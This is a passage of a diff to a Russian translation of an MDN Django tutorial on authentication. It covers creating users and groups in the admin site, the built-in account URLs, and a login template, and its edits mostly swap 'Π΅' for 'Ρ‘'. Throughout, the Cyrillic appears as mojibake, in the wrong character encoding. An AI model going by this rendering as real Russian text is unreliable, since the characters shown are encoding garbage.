+ <li>Для Π΄Π°Π½Π½ΠΎΠΉ Π³Ρ€ΡƒΠΏΠΏΡ‹ Π½Π΅ Π½ΡƒΠΆΠ½Ρ‹ ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ, поэтому ΠΌΡ‹ просто Π½Π°ΠΆΠΈΠΌΠ°Π΅ΠΌ ΠΊΠ½ΠΎΠΏΠΊΡƒ <strong>SAVE (Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ)</strong> (Π²Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘Ρ‚Π΅ ΠΊ списку Π³Ρ€ΡƒΠΏΠΏ).</li>
</ol>
<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π΄Π°Π²Π°ΠΉΡ‚Π΅ создадим ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ:</p>
@@ -116,11 +116,11 @@ user.save()
<li>НаТмитС <strong>SAVE</strong> для Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ процСсса создания ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.<br>
<br>
Административная Ρ‡Π°ΡΡ‚ΡŒ сайта создаст Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²ΠΈΡ‚ вас Π½Π° страницу <em>Change user (ИзмСнСниС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ)</em> Π³Π΄Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅, соотвСтствСнно, ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ваш <strong>username</strong>, Π° ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ для Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠΎΠ»Π΅ΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ User. Π­Ρ‚ΠΈ поля Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ Π² сСбя имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Ρ„Π°ΠΌΠΈΠ»ΠΈΡŽ, адрСс элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹, статус ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ доступа (ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ установлСн Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ„Π»Π°Π³Β  <strong>Active</strong>). НиТС Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π³Ρ€ΡƒΠΏΠΏΡƒ для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ доступа, Π° ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π²Π°ΠΆΠ½Ρ‹Π΅ Π΄Π°Ρ‚Ρ‹, относящиСся ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ (Π΄Π°Ρ‚Ρƒ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ ΠΊ сайту ΠΈ Π΄Π°Ρ‚Ρƒ послСднСго Π²Ρ…ΠΎΠ΄Π°).<img alt="Admin site - add user pt2" src="https://mdn.mozillademos.org/files/14097/admin_authentication_add_user_prt2.png" style="border-style: solid; border-width: 1px; display: block; height: 635px; margin: 0px auto; width: 800px;"></li>
- <li>Π’ Ρ€Π°Π·Π΄Π΅Π»Π΅ <em>Groups</em>, ΠΈΠ· списка <em>ДоступныС Π³Ρ€ΡƒΠΏΠΏΡ‹</em> Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ Π³Ρ€ΡƒΠΏΠΏΡƒ <strong>Library Member</strong>, Π° Π·Π°Ρ‚Π΅ΠΌ пСрСмСститС Π΅Π΅ Π² Π±Π»ΠΎΠΊ "Π’Ρ‹Π±Ρ€Π°Π½Π½Ρ‹Π΅ Π³Ρ€ΡƒΠΏΠΏΡ‹" (Π½Π°ΠΆΠΌΠΈΡ‚Π΅ <strong>стрСлку-"Π½Π°ΠΏΡ€Π°Π²ΠΎ"</strong>, Π½Π°Ρ…ΠΎΠ΄ΡΡ‰ΡƒΡŽΡΡ ΠΌΠ΅ΠΆΠ΄Ρƒ Π±Π»ΠΎΠΊΠ°ΠΌΠΈ).<img alt="Admin site - add user to group" src="https://mdn.mozillademos.org/files/14099/admin_authentication_user_add_group.png" style="border-style: solid; border-width: 1px; display: block; height: 414px; margin: 0px auto; width: 933px;"></li>
- <li>Π‘ΠΎΠ»ΡŒΡˆΠ΅ Π½Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ здСсь Π½Π΅Ρ‡Π΅Π³ΠΎ Π΄Π΅Π»Π°Ρ‚ΡŒ, просто Π½Π°ΠΆΠΌΠΈΡ‚Π΅ "Save"(Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ), ΠΈ Π²Ρ‹ Π²Π΅Ρ€Π½Π΅Ρ‚Π΅ΡΡŒ ΠΊ списку созданных ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ.</li>
+ <li>Π’ Ρ€Π°Π·Π΄Π΅Π»Π΅ <em>Groups</em>, ΠΈΠ· списка <em>ДоступныС Π³Ρ€ΡƒΠΏΠΏΡ‹</em> Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ Π³Ρ€ΡƒΠΏΠΏΡƒ <strong>Library Member</strong>, Π° Π·Π°Ρ‚Π΅ΠΌ пСрСмСститС Π΅Ρ‘ Π² Π±Π»ΠΎΠΊ "Π’Ρ‹Π±Ρ€Π°Π½Π½Ρ‹Π΅ Π³Ρ€ΡƒΠΏΠΏΡ‹" (Π½Π°ΠΆΠΌΠΈΡ‚Π΅ <strong>стрСлку-"Π½Π°ΠΏΡ€Π°Π²ΠΎ"</strong>, Π½Π°Ρ…ΠΎΠ΄ΡΡ‰ΡƒΡŽΡΡ ΠΌΠ΅ΠΆΠ΄Ρƒ Π±Π»ΠΎΠΊΠ°ΠΌΠΈ).<img alt="Admin site - add user to group" src="https://mdn.mozillademos.org/files/14099/admin_authentication_user_add_group.png" style="border-style: solid; border-width: 1px; display: block; height: 414px; margin: 0px auto; width: 933px;"></li>
+ <li>Π‘ΠΎΠ»ΡŒΡˆΠ΅ Π½Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ здСсь Π½Π΅Ρ‡Π΅Π³ΠΎ Π΄Π΅Π»Π°Ρ‚ΡŒ, просто Π½Π°ΠΆΠΌΠΈΡ‚Π΅ "Save"(Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ), ΠΈ Π²Ρ‹ Π²Π΅Ρ€Π½Ρ‘Ρ‚Π΅ΡΡŒ ΠΊ списку созданных ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ.</li>
</ol>
-<p>Π’ΠΎΡ‚ ΠΈ всС! Π’Π΅ΠΏΠ΅Ρ€ΡŒ Ρƒ вас Π΅ΡΡ‚ΡŒ учСтная запись Β«ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ³ΠΎ Ρ‡Π»Π΅Π½Π° Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈΒ», ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ смоТСтС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для тСстирования (ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ страницы, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΌΠΎΠ³Π»ΠΈ Π²ΠΎΠΉΡ‚ΠΈ Π² систСму).</p>
+<p>Π’ΠΎΡ‚ ΠΈ всС! Π’Π΅ΠΏΠ΅Ρ€ΡŒ Ρƒ вас Π΅ΡΡ‚ΡŒ учётная запись Β«ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ³ΠΎ Ρ‡Π»Π΅Π½Π° Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈΒ», ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ смоТСтС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для тСстирования (ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ страницы, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΌΠΎΠ³Π»ΠΈ Π²ΠΎΠΉΡ‚ΠΈ Π² систСму).</p>
<div class="note">
<p><strong>Note</strong>: ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ "БиблиотСкаря". Π’Π°ΠΊ ΠΆΠ΅ создайтС Π³Ρ€ΡƒΠΏΠΏΡƒ "Π‘ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°Ρ€Π΅ΠΉ" ΠΈ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Ρ‚ΡƒΠ΄Π° своСго Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Ρ‚ΠΎ созданного библиотСкаря</p>
@@ -153,7 +153,7 @@ urlpatterns += [
<p>ΠŸΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ ΠΏΠΎΒ <a href="http://127.0.0.1:8000/accounts/">http://127.0.0.1:8000/accounts/</a> URL (ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° ΠΊΠΎΡΡƒΡŽ Ρ‡Π΅Ρ€Ρ‚Ρƒ!),Β Django ΠΏΠΎΠΊΠ°ΠΆΠ΅Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π½Π΅ смог Π½Π°ΠΉΡ‚ΠΈ этот URL, ΠΈ ΠΏΠ΅Ρ€Π΅Ρ‡ΠΈΡΠ»ΠΈΡ‚ΡŒ всС URL, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ пытался ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ. Из этого Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ URL-адрСса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
<div class="note">
-<p><span id="result_box" lang="ru"><span>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅. ИспользованиС Π²Ρ‹ΡˆΠ΅ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° добавляСт ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ URL-адрСса с ΠΈΠΌΠ΅Π½Π°ΠΌΠΈ Π² ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹Ρ… скобках, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для измСнСния сопоставлСний URL-адрСсов.</span> <span>Π’Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Π»ΠΈΠ±ΠΎ Π΅Ρ‰Π΅ - ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠ΅ Π²Ρ‹ΡˆΠ΅ сопоставлСниС URL-адрСсов автоматичСски ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ Π½ΠΈΠΆΠ΅ URL-адрСса.</span></span></p>
+<p><span id="result_box" lang="ru"><span>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅. ИспользованиС Π²Ρ‹ΡˆΠ΅ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° добавляСт ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ URL-адрСса с ΠΈΠΌΠ΅Π½Π°ΠΌΠΈ Π² ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹Ρ… скобках, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для измСнСния сопоставлСний URL-адрСсов.</span> <span>Π’Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Π»ΠΈΠ±ΠΎ Π΅Ρ‰Ρ‘ - ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠ΅ Π²Ρ‹ΡˆΠ΅ сопоставлСниС URL-адрСсов автоматичСски ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ Π½ΠΈΠΆΠ΅ URL-адрСса.</span></span></p>
</div>
<div class="note">
@@ -167,7 +167,7 @@ accounts/ reset/&lt;uidb64&gt;/&lt;token&gt;/ [name='password_reset_confirm']
accounts/ reset/done/ [name='password_reset_complete']</pre>
</div>
-<p><span id="result_box" lang="ru"><span>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ URL-адрСсу Π²Ρ…ΠΎΠ΄Π° (<a href="http://127.0.0.1:8000/accounts/login/">http://127.0.0.1:8000/accounts/login/</a>).</span> <span>Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ сбою снова, Π½ΠΎ с ошибкой, ΡΠΎΠΎΠ±Ρ‰Π°ΡŽΡ‰Π΅ΠΉ Π²Π°ΠΌ, Ρ‡Ρ‚ΠΎ Π½Π°ΠΌ Π½Π΅ Ρ…Π²Π°Ρ‚Π°Π΅Ρ‚ Ρ‚Ρ€Π΅Π±ΡƒΠ΅ΠΌΠΎΠ³ΠΎ шаблона (registration / login.html) Π² ΠΏΡƒΡ‚ΠΈ поиска шаблона.</span> <span>Π’Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ строки, пСрСчислСнныС Π² ΠΆΠ΅Π»Ρ‚ΠΎΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅ Π²Π²Π΅Ρ€Ρ…Ρƒ:</span></span></p>
+<p><span id="result_box" lang="ru"><span>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ URL-адрСсу Π²Ρ…ΠΎΠ΄Π° (<a href="http://127.0.0.1:8000/accounts/login/">http://127.0.0.1:8000/accounts/login/</a>).</span> <span>Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ сбою снова, Π½ΠΎ с ошибкой, ΡΠΎΠΎΠ±Ρ‰Π°ΡŽΡ‰Π΅ΠΉ Π²Π°ΠΌ, Ρ‡Ρ‚ΠΎ Π½Π°ΠΌ Π½Π΅ Ρ…Π²Π°Ρ‚Π°Π΅Ρ‚ Ρ‚Ρ€Π΅Π±ΡƒΠ΅ΠΌΠΎΠ³ΠΎ шаблона (registration / login.html) Π² ΠΏΡƒΡ‚ΠΈ поиска шаблона.</span> <span>Π’Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ строки, пСрСчислСнныС Π² ΠΆΡ‘Π»Ρ‚ΠΎΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅ Π²Π²Π΅Ρ€Ρ…Ρƒ:</span></span></p>
<pre class="brush: python notranslate">Exception Type: TemplateDoesNotExist
Exception Value: <strong>registration/login.html</strong></pre>
@@ -202,7 +202,7 @@ Exception Value: <strong>registration/login.html</strong></pre>
<h3 id="Π¨Π°Π±Π»ΠΎΠ½_Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π¨Π°Π±Π»ΠΎΠ½ <span id="result_box" lang="ru"><span>Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</span></span></h3>
<div class="warning">
-<p><strong>Π’Π°ΠΆΠ½ΠΎ</strong>: <span id="result_box" lang="ru"><span>Π¨Π°Π±Π»ΠΎΠ½Ρ‹ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ, прСдставлСнныС Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅, ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΡ‡Π΅Π½ΡŒ простой / слСгка ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π½ΠΎΠΉ вСрсиСй шаблонов Π»ΠΎΠ³ΠΈΠ½Π° дСмонстрации Django.</span> <span>Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π²Π°ΠΌ придСтся Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ ΠΈΡ… для собствСнного использования!</span></span></p>
+<p><strong>Π’Π°ΠΆΠ½ΠΎ</strong>: <span id="result_box" lang="ru"><span>Π¨Π°Π±Π»ΠΎΠ½Ρ‹ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ, прСдставлСнныС Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅, ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΡ‡Π΅Π½ΡŒ простой / слСгка ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½Π½ΠΎΠΉ вСрсиСй шаблонов Π»ΠΎΠ³ΠΈΠ½Π° дСмонстрации Django.</span> <span>Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π²Π°ΠΌ придётся Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ ΠΈΡ… для собствСнного использования!</span></span></p>
</div>
<p>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Π½ΠΎΠ²Ρ‹ΠΉ HTML Ρ„Π°ΠΉΠ», Π½Π°Π·Π²Π°Π½Π½Ρ‹ΠΉ /<strong>locallibrary/templates/registration/login.html</strong>. <span class="short_text" id="result_box" lang="ru"><span>Π΄Π°ΠΉΡ‚Π΅ Π΅ΠΌΡƒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ содСрТаниС</span></span>:</p>
@@ -248,13 +248,13 @@ Exception Value: <strong>registration/login.html</strong></pre>
{% endblock %}</code></pre>
-<p id="sect1"><span id="result_box" lang="ru"><span>Π­Ρ‚ΠΎΡ‚ шаблон ΠΈΠΌΠ΅Π΅Ρ‚ сходство с Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ Ρ€Π°Π½ΡŒΡˆΠ΅ - ΠΎΠ½ Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅Ρ‚ наш Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ шаблон ΠΈ пСрСопрСдСляСт Π±Π»ΠΎΠΊ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°.</span> <span>ΠžΡΡ‚Π°Π»ΡŒΠ½Π°Ρ Ρ‡Π°ΡΡ‚ΡŒ ΠΊΠΎΠ΄Π° - это довольно стандартный ΠΊΠΎΠ΄ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Ρ„ΠΎΡ€ΠΌΡ‹, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΌΡ‹ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΠΌ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΡƒΡ‡Π΅Π±Π½ΠΎΠΌ пособии.</span> <span>ВсС, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ, это ΠΏΠΎΠΊΠ°Π· Ρ„ΠΎΡ€ΠΌΡ‹, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ввСсти своС имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ ΠΏΠ°Ρ€ΠΎΠ»ΡŒ, Π° Ссли Π²Ρ‹ Π²Π²Π΅Π΄Π΅Ρ‚Π΅ нСдопустимыС значСния, Π²Π°ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΎ ввСсти ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Π΅ значСния, ΠΊΠΎΠ³Π΄Π° страница обновится.</span></span></p>
+<p id="sect1"><span id="result_box" lang="ru"><span>Π­Ρ‚ΠΎΡ‚ шаблон ΠΈΠΌΠ΅Π΅Ρ‚ сходство с Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ Ρ€Π°Π½ΡŒΡˆΠ΅ - ΠΎΠ½ Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅Ρ‚ наш Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ шаблон ΠΈ пСрСопрСдСляСт Π±Π»ΠΎΠΊ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°.</span> <span>ΠžΡΡ‚Π°Π»ΡŒΠ½Π°Ρ Ρ‡Π°ΡΡ‚ΡŒ ΠΊΠΎΠ΄Π° - это довольно стандартный ΠΊΠΎΠ΄ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Ρ„ΠΎΡ€ΠΌΡ‹, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΌΡ‹ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΠΌ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΡƒΡ‡Π΅Π±Π½ΠΎΠΌ пособии.</span> <span>ВсС, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ, это ΠΏΠΎΠΊΠ°Π· Ρ„ΠΎΡ€ΠΌΡ‹, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ввСсти своё имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ ΠΏΠ°Ρ€ΠΎΠ»ΡŒ, Π° Ссли Π²Ρ‹ Π²Π²Π΅Π΄Ρ‘Ρ‚Π΅ нСдопустимыС значСния, Π²Π°ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΎ ввСсти ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Π΅ значСния, ΠΊΠΎΠ³Π΄Π° страница обновится.</span></span></p>
<p>ΠŸΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π½Π° страницу Π²Ρ…ΠΎΠ΄Π° (<a href="http://127.0.0.1:8000/accounts/login/">http://127.0.0.1:8000/accounts/login/</a>) ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ сохранитС свой шаблон, ΠΈ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π½Π°ΠΏΠΎΠ΄ΠΎΠ±ΠΈΠ΅ этого:</p>
<p><img alt="Library login page v1" src="https://mdn.mozillademos.org/files/14101/library_login.png" style="border-style: solid; border-width: 1px; display: block; height: 173px; margin: 0px auto; width: 441px;"></p>
-<p><span id="result_box" lang="ru"><span>Если ваша ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ° Π²ΠΎΠΉΡ‚ΠΈ Π² систСму Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠΉ,Β  Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ Π½Π° Π΄Ρ€ΡƒΠ³ΡƒΡŽ страницу (ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ это Π±ΡƒΠ΄Π΅Ρ‚ <a href="http://127.0.0.1:8000/accounts/profile/">http://127.0.0.1:8000/accounts/profile/</a>).</span> <span>ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ° здСсь Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Django ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ послС Π²Ρ…ΠΎΠ΄Π° Π² систСму Π²Ρ‹ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π½Π° страницу профиля, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ»ΠΈ Π½Π΅ Π±Ρ‹Ρ‚ΡŒ.</span> <span>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π²Ρ‹ Π΅Ρ‰Π΅ Π½Π΅ 